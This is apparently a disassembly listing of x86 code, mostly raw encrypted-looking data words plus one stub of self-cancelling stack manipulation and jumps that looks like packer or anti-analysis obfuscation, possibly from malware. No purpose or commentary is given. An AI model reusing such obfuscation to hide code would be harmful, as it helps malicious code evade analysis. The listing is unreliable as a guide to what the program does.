		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h
		dd 664CED89h, 1395E9h, 0D10B6800h, 3EE9060Ch, 68FFFAADh
		dd 60CD1F3h, 0FAAD34E9h, 0D2D968FFh, 2AE9060Ch,	68FFFAADh
		dd 60CD434h, 0FAAD20E9h, 0D4B868FFh, 16E9060Ch,	68FFFAADh
		dd 60CD562h, 0FAAD0CE9h, 0D62068FFh, 2E9060Ch, 68FFFAADh
		dd 60CD6E1h, 0FAACF8E9h, 0D7A368FFh, 0EEE9060Ch, 68FFFAACh
		dd 60CD8E6h, 0FAACE4E9h, 0D9D068FFh, 0DAE9060Ch, 68FFFAACh
		dd 60CDB66h, 0FAACD0E9h, 0DCFC68FFh, 0C6E9060Ch, 68FFFAACh
		dd 60CDF29h, 0FAACBCE9h, 0E05268FFh, 0B2E9060Ch, 0ADFFFAACh
		dd 0B2105C00h, 0B81662F0h, 0BB1965EFh, 0C3216D0Fh, 422C78FCh
		dd 9321E821h, 9B21E947h, 0A52BF14Fh, 0AC38FB59h, 0A372ED60h
		dd 0F000A890h, 0DB0AEECDh, 2CD27E18h, 8CB29DCh,	7D41307Ch
		dd 4B1270EBh, 19940FC5h, 0B86BF9BBh, 1F1EED68h,	40F60C67h
		dd 356B3AF0h, 82FC136Ah, 81D15B24h, 6530FFCEh, 13B6F00Bh
		dd 2CAA6C3Bh, 37EA99CAh, 6000000h, 79F4744Ah, 13752AAAh
		dd 702373FCh, 0B6A9EA1h, 7FDD58F0h, 23100B9h, 5BF00B6Ah
		dd 6205BB0Bh, 3BF9BBC8h, 0C64199CAh, 0B7E44F7h,	13C919F0h
		dd 0D490h, 0FBBEAC00h, 0E2AC1CD9h, 14722831h
		dd 0B210C351h, 27EA65EBh, 7D1B8F5Ch, 6225832Eh,	0F6D20D6h
		dd 920DC04Ch, 30E37134h, 9CC2AE0h, 0C8602F7Bh, 0B9F60C39h
		dd 0C01E6AF6h, 0C67544FDh, 97F60C36h, 5544F747h, 0B584FF69h
		dd 0FC13C95Fh, 991460B0h, 726A21D6h, 9C526EACh,	0DC5711ADh
		dd 11B34A0Dh, 0B0773AFAh, 2AF7E765h, 0C1119B63h, 66E1310Bh
		dd 92A170EBh, 0CBF60222h, 0A067C57Bh, 0EF4DC814h, 9BEB9E26h
		dd 34C087E5h, 0CC2E59D5h, 0E43AEDB4h, 111Ah, 479339E6h
		dd 4D9927E9h, 529E26EFh, 5AA648F4h, 63AF35FCh, 581F5879h
		dd 5A2280CCh, 642A88D4h, 713492DEh, 0A92497E3h,	0B65BDAh
		dd 412504F0h, 966514DBh, 0F60C67A7h, 0CC1868B8h, 0D11DAB6Eh
		dd 0F4744AEDh, 0DDA0FE79h, 0A428F14Fh, 75BD1FEEh, 92E2FC13h
		dd 6A2110DFh, 24C7F00Bh, 3BBB7D0Ah, 400399CAh, 0AE635714h
		dd 0FB7E340Ch, 0C3h, 8C18DB17h,	30B47BD9h, 6B9AAE7Dh, 0A467F60Ch
		dd 0AB6ECC18h, 8144A21Dh, 9B8A3DF3h, 6CCA4523h,	0E86319A3h
		dd 139BC319h, 90DC2CFCh, 64F0B715h, 0BCAB61B1h,	58F5802h
		dd 37B20252h, 0D9B5EBCh, 3CC28857h, 1B96FA11h, 2F3E94Ch
		dd 702676F6h, 50CB4696h, 2F3B281h, 0A55BABF6h, 7F05CC2Ah
		dd 740ED533h, 0C24C14ACh, 1F6FBF0Fh, 0CBDF78C0h, 55B0EB4h
		dd 1032h, 2F7B21CEh, 35810FD1h,	3A860ED7h, 428E30DCh, 4B971DE4h
		dd 40074061h, 420A68B4h, 4C1270BCh, 591C7AC6h, 910C7FCBh
		dd 0B673C2h, 290DECF0h,	159014DBh, 83775052h, 540A6FD8h
		dd 59E7AA08h, 0DCCF920Dh, 45162B70h, 0BE4226DCh, 55019D60h
		dd 64B467B7h, 0F18D50AEh, 9E51A12Fh, 18E17D40h,	0A381D021h
		dd 3888FF82h, 99E53585h, 37EA723Bh, 3E8A16D9h, 179D65C3h
		dd 0A55E1464h, 0A6C2FC14h, 0BC385C2Bh, 66C4FC13h, 815B119Fh
		dd 83AD7C31h, 0BFEB914Ch, 1FEE69FFh, 0D9E9DEDh,	29870252h
		dd 5DE0AF66h, 2018692h,	0F9AC62B2h, 0CE58207Eh,	2615CB1Bh
		dd 0DA55D098h, 92AD905Fh, 62B20186h, 2D4EDDACh,	5FAF0B9Ch
		dd 35C386E4h, 0CD703FBAh, 92078CE2h, 0E2408C42h, 1032911Fh
		dd 0F6C359EEh, 0F4CED43h, 7B40000h, 0F9BB1965h,	0F8C11F6Bh
		dd 1ECA2874h, 0FD63480h, 2A4B3581h, 5AA62AF1h, 5EAA34FCh
		dd 60AC3A00h, 65B13F02h, 95A877F2h, 0CAF000B5h,	18DB07EBh
		dd 0D4EAD98Ch, 4C561994h, 578C8753h, 27DA8430h,	56D187D7h
		dd 13EB9987h, 490F6DFCh, 0DB2B05BBh, 2E029D60h,	466B8095h
		dd 69554490h, 0B3B584FFh, 4FA145Fh, 0A457DDA6h,	82510454h
		dd 0F60C40BFh, 23D67824h, 0C477FDC5h, 36B58D30h, 0A3F04AEDh
		dd 93C355E1h, 6C21h, 744A3D00h,	31AA79F4h, 0F9FC13B3h
		dd 9C4FD59Bh, 39BF0D9h,	0C1119FCFh, 0BD3310Bh, 0EC489B0Eh
		dd 3D8D5EEDh, 34F772EDh, 0A7880307h, 76A06357h,	0AFB012Eh
		dd 0E7AD0BC1h, 0FD3E0D59h, 0C5F00BEEh, 0EEB87B4Ah, 2AA5F00Bh
		dd 0BEED85Bh, 0E53585F0h, 8336BE87h, 5C1F7D33h,	602684D0h
		dd 0E1A41FD2h, 23029CEFh, 0DB31E785h, 0E56h, 0F4744AF7h
		dd 3750AA79h, 69B9FC19h, 521573EEh, 0EFB210C6h,	0D79A1561h
		dd 5E58273Dh, 0D836EC49h, 0E5D48715h, 45148FD9h, 0FA15408Eh
		dd 99148FDFh, 35EB793Bh, 3C8814D7h, 128D1BDEh, 0DF75C897h
		dd 7A49F60Ch, 0F60CDFBBh, 2A7A54A4h, 0ECD2C174h, 0AE32017Ch
		dd 0F7FC132Fh, 0DD0448A7h, 0EFA2AED2h, 0DF199h,	0BA620F00h
		dd 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh, 3E7FA08Ah
		dd 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah, 0B346F5C4h
		dd 3817F000h, 67C76A54h, 437BF60Ch, 602FAA25h, 0F60C67DDh
		dd 17C3282h, 0D7652886h, 36935221h, 9CECFC19h, 7400C321h
		dd 7907CA28h, 27ED4BC6h, 0A99C9F6Eh, 71C1F000h,	427C6B21h
		dd 0EEB74F18h, 1363B366h, 977948C3h, 0FA1FB3h, 990551B0h
		dd 16C9B4CEh, 0D6DC0h, 46E69300h, 4CDA9CFAh, 53D9A200h
		dd 5FFDA907h, 62EEB513h, 0D20B2C16h, 0DB39850Bh, 0DF3D8913h
		dd 0E13F8B19h, 0D346921Eh, 0B3AA8958h, 0D4B3F000h, 8C18DBF0h
		dd 2CB87BD9h, 27FFA279h, 0C32A9658h, 753D693h, 0E05B0000h
		dd 0C6F2211h, 35EB3BF6h, 0F4744A51h, 36E6AA79h,	308EFC19h
		dd 4F29DF6Dh, 0AB0984FFh, 49A75DFFh, 33AEFA86h,	0CF820ED5h
		dd 0A9B68554h, 57A7F000h, 30F35107h, 1F22F1A4h,	33F000A9h
		dd 0E762DD8Bh, 662DC189h, 5D48ADAh, 0FA1FB31Bh,	0D48F28EBh
		dd 97625308h, 58B707E1h, 0B4CF1C08h, 0C3B50BBEh, 3D00000Ch
		dd 42A0EC90h, 48A6F280h, 4BA9F57Fh, 53B1FD9Fh, 0D2BC088Ch
		dd 23B178B1h, 2BB179D7h, 35BB81DFh, 3CC88BE9h, 33027DF0h
		dd 0F000B200h, 0DB9A7E5Dh, 5ED98C18h, 0F8AB3900h, 0D194F2A8h
		dd 0BE6AC843h, 0E0B76A20h, 0D496E53Dh, 1493C32Ah, 69Dh
		dd 67C76A30h, 437BF60Ch, 75DBAA25h, 1FC1936h, 45BBF23Eh
		dd 262545D2h, 0D4767177h, 2C06BC0Ch, 0A36C08CEh, 0C616C919h
		dd 8CB97C4Bh, 56A6F000h, 6A2D8B06h, 0B91792DEh,	58B66CF0h
		dd 2E8C0795h, 0D727DA68h, 3F7F6E21h, 0CFEBAE29h, 73B9BE51h
		dd 0AA56BA7Dh, 0D02F2AA9h, 40D09F1Ah, 0D5FA1F30h, 1B442685h
		dd 2FE2B4CFh, 0C05D9h, 0AE4EFB00h, 0B4420462h, 0BB410A68h
		dd 0C765116Fh, 0CA561D7Bh, 3A73947Eh, 43A1ED73h, 47A5F17Bh
		dd 49A7F381h, 3BAEFA86h, 0B142F1C0h, 3C1BF000h,	8C18DB58h
		dd 1EB87BD9h, 0C717CA58h, 0BA66C477h, 40036114h, 0E68901B4h
		dd 15B88F4Ch, 2AAC6E3Dh, 0DAEC93C3h, 8000005h, 9860BEh
		dd 0ACFCAF3Dh, 7B7A65Ch, 3217E661h, 87FC1936h, 0C641BC37h
		dd 0A944F7h, 13C919F0h,	1A66F2B5h, 0F06BF9BCh, 9346CC92h
		dd 97E76D35h, 0D05F2EE1h, 0E4F000A9h, 0A99B9A69h, 74C4F000h
		dd 79EFCFBEh, 0B3212FFEh, 5AD5FA1Fh, 7BCA88Bh, 0F64514F6h
		dd 67F607BCh, 37ED3D17h, 0C6AE0D5Dh, 44B4CE98h,	0B443B91h
		dd 0FBC0000h, 1C3216Dh,	0C92773h, 26D2307Ch, 17DE3C88h
		dd 32533D89h, 62AE32F9h, 66B23C04h, 68B44208h, 6DB9470Ah
		dd 8DB07FFAh, 0D2F000B1h, 18DB0FF3h, 0B87BD98Ch, 9153B12Ch
		dd 4A005003h, 0EF8D3997h, 8C32DE3Ch, 642B89D9h,	6757E6B5h
		dd 0B808F60Ch, 50F3B568h, 7F22F9F6h, 2B16D8A7h,	5E93C3h
		dd 4EDA9D39h, 2C548FEh,	0E1000005h, 0C67CA6Ah, 0CB94F2F6h
		dd 883E8E41h, 0C8432599h, 0C220BE6Ah, 71C174FAh, 67C540BBh
		dd 116114A0h, 369A8C5Bh, 8FDFFC19h, 65F3B614h, 3EE08CEAh
		dd 39853B8Bh, 0E9860BEh, 0A937FA58h, 0B1B707F6h, 4EB56736h
		dd 9AEAFA1Fh, 0CE9E433Bh, 0D228DBB4h, 0A82h, 0DF2BD17Eh
		dd 0E531BF81h, 0EA36BE87h, 0F23EE08Ch, 0FB47CD94h, 0F0B7F011h
		dd 0F2BA1864h, 0FCC2206Ch, 9CC2A76h, 41BC2F7Bh,	0B0C372h
		dd 0D9BD9CF0h, 0D98C18DBh, 792CB87Bh, 13793CB7h, 4D606660h
		dd 0F0839DB3h, 0EC3C75BEh, 2EBB9336h, 8E5C6A6Bh, 3B9DBDAFh
		dd 3DFF9FEBh, 7D93C3C9h, 13Bh, 7443BE99h, 0F60C67C1h, 0B5AAE2B5h
		dd 0A47E8088h, 7D409E54h, 1BDE3CEFh, 6C52418Dh,	4C9C42EEh
		dd 56CE02D1h, 0E737FC13h, 59DA6534h, 791CF00Bh,	0D199F7A1h
		dd 0A024ED4Bh, 68884AEAh, 0DD099CAh, 99A36E7h, 9417CD18h
		dd 2Ah,	0F4744AB0h, 752AAA79h, 2373FC13h, 6A9EA170h, 0DD58F00Bh
		dd 6AA09362h, 6DBDF00Bh, 6D3A14B7h, 99CA3BABh, 0B1EBh
		dd 18DB0700h, 47613419h, 743CDBA0h
		dd 97E737EAh, 3BEE7239h, 8AE89BEBh, 0F8A3DC3h, 0AE61EFB1h
		dd 874AA85Eh, 34037EF9h, 0F60C8301h, 4A144775h,	5A347E8Eh
		dd 43A1540Ah, 0D9A8F480h, 0F60C2B5Fh, 0E733C184h, 27A2C6F8h
		dd 16821458h, 420B69FCh, 67B707BAh, 3FC58EECh, 0B863C8Ch
		dd 0E5AE6ADh, 0FC5BE9B0h, 0AED1398Ch, 3F99EFA2h, 0C1000009h
		dd 0CE2C7814h, 0D4327E0Ch, 0D735810Bh, 0D735812Bh, 4E388410h
		dd 9F25EC2Dh, 0A72DF553h, 0A937FD5Bh, 0B03CFF5Dh, 0A776F164h
		dd 0F000BF94h, 0DB06EAC9h, 7FC21D14h, 3A738CD5h, 3A8A14DCh
		dd 3FCD90EEh, 18DB0FF3h, 0B87BD98Ch, 1A8AE02Ch,	0F000003h
		dd 0B164E8B1h, 4AC7AB61h, 0AA79F474h, 0FC136C6Eh, 0E5B467B7h
		dd 0F00B635Ah, 5221F99Ch, 99CA3290h, 2A4D0h, 0CC6AEC00h
		dd 0F4F60C67h, 678BAA79h, 84D4F60Ch, 67FB3A09h,	1464F60Ch
		dd 194F6F5Eh, 0D9A8239Eh, 0F60C675Ah, 2EFDB303h, 0FC19363Ah
		dd 0FDC03B8Bh, 2FF0FCA5h, 9A15CB45h, 9FEB793Ch,	3A7F7E41h
		dd 0C5F60D20h, 0A76C5114h, 0B2A9389Fh, 7134AF62h, 0EC36AF53h
		dd 75641A2Eh, 0D5A41F49h, 0FA1FEA07h, 9D2ED598h, 93BAED69h
		dd 0AEAEE443h, 0A558B4CEh, 8554Fh, 5EFEAB00h, 64F2B412h
		dd 6BF1BA18h, 7715C11Fh, 7A06CD2Bh, 0EA23442Eh,	0F3519D23h
		dd 0F755A12Bh, 0F957A331h, 0EB5EAA36h, 0BE92A170h, 0ECCBF000h
		dd 8C18DB08h, 2CB87BD9h, 0CF551B79h, 69F7BE1Ch,	0F951F4B6h
		dd 0BD9538FAh, 64DF6D30h, 0FCB24006h, 2F4E10B0h, 0D68E93C3h
		dd 13000001h, 6B6AC998h, 0A3F3F60Ch, 18DB09EDh,	0B87BD98Ch
		dd 67033201h, 0C5CF60Ch, 3D8170BCh, 0AFE1B02Bh,	18FC136Ah
		dd 1D6DF3BAh, 0C991EF6Ah, 8A409043h, 0B6574BBh,	7CF772F0h
		dd 0B658EADh, 0C97FCFF0h, 0BD7F0C26h, 0FD99CA2Ch, 5Ah
		dd 5380782h, 5AF00B6Dh,	4A70540Ah, 1B79F474h, 0CD1DD054h
		dd 67B08352h, 5DADF60Ch, 7F5D2CA7h, 0A0FC1375h,	5F229D50h
		dd 0E1238BD4h, 0A864B46Ch, 999F6733h, 7DC49349h, 66F00BB6h
		dd 15F12A0h, 83FFB23Eh,	408946E0h, 0BD1B859Dh, 19B96FF5h
		dd 99CB0057h, 0FE97h, 18DBB300h, 5ED98Ch, 9AF8AB39h, 43F949D7h
		dd 0BB841EE5h, 34037E31h, 0F60C6701h, 6EBE0E5Eh, 0E9A5DBBh
		dd 833AFD5Bh, 0C6781B4h, 0A985AF6h, 0DD2D0757h,	3672418Dh
		dd 0FBF60CBAh, 0D331AC38h, 82CE8410h, 0C23D2B93h, 5D358447h
		dd 9CAE6602h, 0B73BA4D9h, 6D23E6E5h, 16B56E9Eh,	47FCFFCh
		dd 0B8DEDFA6h, 3562CB65h, 2BB068B5h, 0E838B1D2h, 0DFA21D98h
		dd 5F245AD1h, 61D4A30Bh, 0FEF00526h, 4EACF8AEh,	9C28EB87h
		dd 0EA4999E9h, 0AED132B2h, 0BF5FB568h, 41000006h, 4EACF894h
		dd 54B2FE8Ch, 57B5018Bh, 57B501ABh, 0CEB80490h,	1FA56CADh
		dd 27AD75D3h, 29B77DDBh, 30BC7FDDh, 27F671E4h, 0F000BC14h
		dd 0BE866A49h, 0E918043h, 9BAAEFD6h, 0CB669CCh,	24AA72F6h
		dd 9923EC4Ah, 0E84696E6h, 7EDC923Ch, 50AE29B7h,	0FC4CFF8Dh
		dd 0D99CFA46h, 2684FF4Bh, 0E00ED15Fh, 478B351h,	0DBF0D48Ah
		dd 2DBB7E18h, 0E0AF2A7Ah, 0F60C675Dh, 0E762B202h, 4110C189h
		dd 0F60C67F2h, 15CB1B6Bh, 9D6CE762h, 0F60C679Eh, 5BB96FBFh
		dd 6AC00C98h, 51h, 1918DB86h, 0D6D66883h, 0A924747Ah, 0E5BF92E6h
		dd 3FF5126Fh, 0DD6B2E8Ch, 2518E762h, 3AF60CC9h,	238134EAh
		dd 0C624D75Dh, 60BE71FFh, 0ED900C9Ah, 7B1E9655h, 0AF7EF9A3h
		dd 0F60CC98Ch, 0B48756D1h, 0A9F60CC9h, 0F5530959h, 45AA632h
		dd 22h,	8C18DB20h, 67260AD9h, 0B659F60Ch, 0F48E519Ch, 854A432h
		dd 0E06C2F8Dh, 67A79665h, 68B8F60Ch, 18DBCEB2h,	0D4EAD98Ch
		dd 304A1994h, 99FC1937h, 4C0BCE49h, 8E43FB5Eh, 0D424B077h
		dd 8245A31Eh, 894CAAF6h, 6FCD48FBh, 1C6C1FADh, 13477766h
		dd 0A86AC84Ch, 0C717671Ah, 0FEC67D4Ch, 0AC27FA15h, 0C615EDDh
		dd 5FAFFFF6h, 27C386E4h, 7B01C965h, 752878C8h, 975AD525h
		dd 0E999B6FEh, 0CB91EF72h, 0E5438F45h, 0A01B9622h, 0C4662D1h
		dd 0F5ABFBF6h, 0A069C742h, 4777661Ch, 0C9D7A621h, 5EFC13B6h
		dd 65F7AF0Eh, 5C0FAED3h, 52906h, 822AD700h, 8816D836h
		dd 8F15DE3Ch, 9339E543h, 9E22E947h, 6476852h, 765B13Fh
		dd 0B69B53Fh, 1573BF45h, 77AC652h, 0BB7EBD8Ch, 0DFF000h
		dd 7443BE1Ch, 0F60C67C1h, 3A984E9Eh, 106EE977h,	0BC0CBF4Dh
		dd 995CBA06h, 4615900Bh, 0F60C67F7h, 9EFEA568h,	0E4FE1E79h
		dd 0B02BDE94h, 4B018F52h, 0EB9E2AEDh, 8C3FC58Dh, 0A66C652Eh
		dd 0AC40D909h, 65C376C6h, 0F79A16A2h, 63DEA05Fh, 851A19E8h
		dd 0F343F60Ch, 18809A3Dh, 9837155h, 0B909BC40h,	499FBDF6h
		dd 0E6723593h, 838FA9Ah, 557893C4h, 94000000h, 20E6744Ah
		dd 0F8C74292h, 0FC13B3FFh, 86329154h, 0F2007465h, 0E9AC27A2h
		dd 2FBCB1C9h, 0DF3DF322h, 703F8B19h, 0F00B39CFh, 0B94C4D10h
		dd 0BC7F4E00h, 0A1F00BD8h, 0BAF88E51h, 0C4226EBEh, 82FD78FEh
		dd 0BE280B3h, 0D9359F0h, 0E0300A5Ah, 3321772Ah,	3D000004h
		dd 0C9A60BEh, 7C35F856h, 0C678EADh, 217FCFF6h, 782D25Eh
		dd 0E25DE3A9h, 0C672013h, 37ED3DF6h, 0D5632684h, 2D10DF5Ah
		dd 0AEF60C67h, 5AAA5DEBh, 2E7A3080h, 6EE97F3Fh,	136A619Fh
		dd 0B86D6FCh, 0AA60E4ADh, 651928F7h, 3CDFF00Bh,	2CD395E2h
		dd 2A1399CAh, 2F000000h, 79F4744Ah, 81B483FEh, 0DEF60C67h
		dd 8B09D88Eh, 14FC1375h, 0FF4211C4h, 0F9F00B6Ah, 0EDAFFC56h
		dd 2D99CA3Bh, 126h, 36FBBE49h, 102F0985h, 0FEC11FD5h, 0B7AB70FFh
		dd 67B79051h, 18F56B4h,	9F2DF04Eh, 3DCB8EECh, 4902FFC2h
		dd 106FCE9Dh, 0A0F0F60Ch, 19175BDDh, 0E0481763h, 0B4F60CC2h
		dd 53069456h, 2CEF4D03h, 1018852Dh, 0A46BBE41h,	0CD1D6D20h
		dd 10D3317Dh, 0F856D184h, 0A4F4A735h, 36BFFFEEh, 0D0979161h
		dd 7E419144h, 0A0F030AAh, 0B7E7AA25h, 0E50DBEF1h, 944413C9h
		dd 1FC1350h, 11D836B1h,	0CA80D083h, 392F8F7Eh, 0EBB3EFBEh
		dd 0C818FA11h, 0AB74D24Dh, 460D6B21h, 0F5C43FBAh, 0F6023446h
		dd 0C511C717h, 11A1A067h, 0DC766435h, 733D9CECh, 7B4CB99h
		dd 2FCFE54h, 57040000h,	490B69B5h, 48116FBBh, 6E1A78C4h
		dd 5F2684D0h, 7A9B85D1h, 0AAF67A41h, 0AEFA844Ch, 0B0FC8A50h
		dd 0B5018F52h, 45F8C742h, 1AF000B8h, 43BE573Bh,	0C67C174h
		dd 0F04E9EF6h, 9BEB9E28h, 9C087E5h, 677CBF8Eh, 91E1F60Ch
		dd 0C6773C2h, 4C9CECF6h, 51DFA200h, 0E63F13D6h,	2B3DB00Eh
		dd 0C14D95Ch, 0E63686F6h, 0B69E430h, 0B808BB49h, 744A1E02h
		dd 2AAA79F4h, 73FC1375h, 9EA17023h, 58F00B6Ah, 30BC7FDDh
		dd 0D4772D7Dh, 3C6B2D7Ah, 0ECAB99CAh, 0C7000000h, 926118DBh
		dd 0F60C67A3h, 33E67038h, 69B909E3h, 62C03BB6h,	0E5E119Fh
		dd 0C67FC3Fh, 961161F6h, 0C6774C7h, 0E399E9F6h,	7F32BE85h
		dd 0C6B98B0h, 0A7A669F6h, 9242C133h, 0BC0858C2h, 5A0D9B5Eh
		dd 0A69564DFh, 33F60C9Ah, 0E131E470h, 1201B707h, 5AE8AEACh
		dd 45148F0Ah, 0F60C9AF6h, 0E6611767h, 13764117h, 3A86D6FCh
		dd 7AF5734Bh, 11D1D4ABh, 56D121FAh, 23247493h, 12DA8722h
		dd 0B863C8Ch, 0E5AE6ADh, 0FC5BE9B0h, 0B4CBCEBEh, 0D34FA558h
		dd 2D000001h, 3290DC80h, 3896E270h, 3B99E56Fh, 43A1ED8Fh
		dd 0C2ACF87Ch, 13A168A1h, 1BA169C7h, 25AB71CFh,	2CB87BD9h
		dd 23F26DE0h, 0F0008710h, 0BE8A6E4Dh
		dd 67C17443h, 521AF60Ch, 0ECA2F2CCh, 3F0EC78Eh,	0F60C67FCh
		dd 75C11161h, 4DC85417h, 0EA9D27EFh, 0E9733C9Ah, 0DB03E733h
		dd 7BD98C18h, 82E02CB8h, 8F7E31BFh, 0EFBE392Fh,	0FC139651h
		dd 0FA356A6h, 27EAD26Ch, 0E1A31837h, 8D50A053h,	0BF82BF44h
		dd 548A233Bh, 86E49AFBh, 5CBA35C3h, 0A560C9Ah, 4AC5A31Bh
		dd 27C571CFh, 9F6E2474h, 0FA144B4Dh, 78D54B2h, 0E3A604B7h
		dd 872AA255h, 554205AFh, 0D1A39647h, 0FCC2B167h, 0C222F16Ch
		dd 3BFC13A2h, 7E419FEBh, 9BCCCC7Fh, 4D9D805Bh, 7D763C9Ah
		dd 1C6DDF1Ah, 0F8ADA50h, 9F65704Ch, 0CD9CFF41h,	0F00BDA6Eh
		dd 994F9FEFh, 97AF52E6h, 0ADF9874Ah, 0ED6800BEh, 142B021Eh
		dd 29F873FAh, 0F60CF40Ah, 0B30353h, 0CB00C285h,	0D2493053h
		dd 6DFBBE1Ch, 0D5CE94F2h, 0ECE398B0h, 984E9E54h, 94AE51E5h
		dd 8C5406B8h, 6837B202h, 0FC1395C8h, 0B2A1ED3Dh, 12E15C0Ch
		dd 0FA1E1AF0h, 6E6A2DA8h, 0E5E3A127h, 0BFEB4A19h, 2474F607h
		dd 9144946Eh, 69E47033h, 0BF1C1FEEh, 0F141F607h, 0CE91EF3Bh
		dd 0EAC08F42h, 0B15647AFh, 8412D836h, 28CB81D1h, 8648A60Eh
		dd 3FF545F8h, 0BD841EE1h, 0D6348437h, 83D38614h, 74F5B833h
		dd 434E9F1Ch, 2C8AD68Ch, 0CA28DB69h, 0B58B0D1Eh, 4562C1B6h
		dd 5A4A1982h, 0D020C35Ah, 280BDA55h, 3596479Dh,	1E7C2FE5h
		dd 0BD1BCE5Ch, 6DBD70F4h, 0BBE460Fh, 7D7AD477h,	0E1EC46E9h
		dd 0E846921Eh, 3CC08925h, 3E339ECh, 0FF000000h,	2EDB694Dh
		dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h
		dd 0E995F3A6h, 69329043h, 10D230E3h
		db 82h,	0CFh, 7Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	159Fh
		mov	[esp], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	60CCFD2h
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], esi
		pop	ebx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 7Eh
		dd 1BB639CEh, 4AB8C75Eh, 3060CE2h, 0D7E0FFC5h, 0A747227Ch
		dd 5329A9F9h, 364F69Dh,	0C708051h, 0BB05A06Eh, 6E37DA66h
		dd 0C91464E4h, 6D3BB20Ah, 0E8359999h, 0Ah, 93B99289h, 0C690C5CAh
		dd 8C0F8B36h, 3, 5BF7BF0Fh, 5C08C381h, 0B9FC0000h, 0
		dd 0DB816660h, 0CF81368Eh, 7B3ED276h, 0B048B61h, 28FABA66h
		dd 0E938E881h, 0CA81267Dh, 4E6BF7E1h, 7091C081h, 9E85910h
		dd 0E4000000h, 83B40A86h, 0C2ACD66Ch, 0AAF0815Eh, 6654CDE6h
		dd 489F38Bh, 0B8BF660Bh, 4E9835Ch, 0A490F981h, 850FFFFFh
		dd 18h,	6E9h, 76985100h, 0E9815E8Dh, 18h, 0C8C5B238h, 0AFB719DCh
		dd 3BF7BF66h, 0FFFF98E9h, 7599D8FFh, 5A7F51EEh,	0E43D8D8Dh
		dd 0BF0F060Ch, 18D89D8h, 106070Ah, 70C2DBDh, 0A585C706h
		dd 44060714h, 6A00005Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 22F9C357h, 60587794h
		dd 0EAE3EB81h, 61F812F7h, 2FD585C7h, 607h, 0BEFC0000h
		dd 172C7DACh, 319B5FFh,	870F0607h, 6, 1D19958Bh, 0EBBA0607h
		dd 0FF7910FFh, 71C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 998589A9h, 6A060713h
		dd 6995FF00h, 8B06071Bh, 0F32CEBC0h, 0A1C3F032h, 8F255D9h
		dd 0E57777C9h, 38DBDA37h, 9DE3516Ah, 2EE8FB4Fh,	0DAAFB380h
		dd 637247A3h, 699B9906h, 0AA0098EBh, 8DABABE1h,	0CE53D8Dh
		dd 3840F06h, 0F000000h,	8D89F2BFh, 6070A01h, 1890Fh, 0C7F50000h
		dd 714A585h, 5DC006h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 85AF645Dh, 1CBB6A9Ah
		dd 0E88166C8h, 85C79B03h, 6072FD5h, 0
		dd 0BFF366B8h, 59B5FF1Dh, 6A060727h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A32C351h
		dd 7A4B55B8h, 1C1995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0A6DA18C3h, 0C36A72ACh
		dd 0E83AD7E3h, 0Ch, 0AE18CBE4h,	0E4CEC327h, 395576D0h
		dd 599F681h, 6A5F50CFh,	6995FF00h, 8B06071Bh, 9E0FEBC0h
		dd 2DFDABA3h, 5AAF332Eh, 23013B74h, 9E85906h, 16000000h
		dd 0CDA3A83Eh, 0EF8F22C2h, 32699533h, 0E95E0607h, 8, 19E8FC95h
		dd 6937DA6Bh, 5B5AC681h, 0CE800000h, 0BB44h, 958B0000h
		dd 6072D05h, 0F1E048Bh,	48Ch, 0A1B96600h, 0BCF08198h, 0B15483B4h
		dd 0B1E88174h, 8B55685Ch, 72D2995h, 5AE88106h, 8B757FF6h
		dd 7165995h, 0B5295006h, 607133Dh, 0BA1E048Fh, 68C40C8Eh
		dd 68A0Fh, 958B0000h, 60720A9h,	8904EB83h, 70F8995h, 60FB8106h
		dd 0FFFFFA5h, 1885h, 45858900h,	0E9060726h, 25h, 5B0824C0h
		dd 54AF8D81h, 0F57F720Bh, 68C0FC5h, 89000000h, 721ADBDh
		dd 0FF7AE906h, 0C9C9FFFFh, 5711D1A6h, 79EB1Ah, 8CEF9E7Dh
		dd 0D60FE221h, 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h
		dd 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h,	8C9EA9BDh
		dd 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h
		dd 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h
		dd 5EF357DBh, 0B79BB7D6h, 0ABAFF600h, 9F8995h, 0C77156F0h
		dd 0BEB3D7h, 0D7567118h, 73E2ADC4h, 374E05FAh, 104AE9h
		dd 0E8546800h, 0E6E9060Ch, 68FFFA95h, 60CE987h,	0FA95DCE9h
		dd 0EA4F68FFh, 0D2E9060Ch, 68FFFA95h, 60CEBD1h,	0FA95C8E9h
		dd 0EC4B68FFh, 0BEE9060Ch, 68FFFA95h, 60CED0Eh,	0FA95B4E9h
		dd 0EDB668FFh, 0AAE9060Ch, 68FFFA95h, 60CEE7Fh,	0FA95A0E9h
		dd 0EF4068FFh, 96E9060Ch, 68FFFA95h, 60CEFF1h, 0FA958CE9h
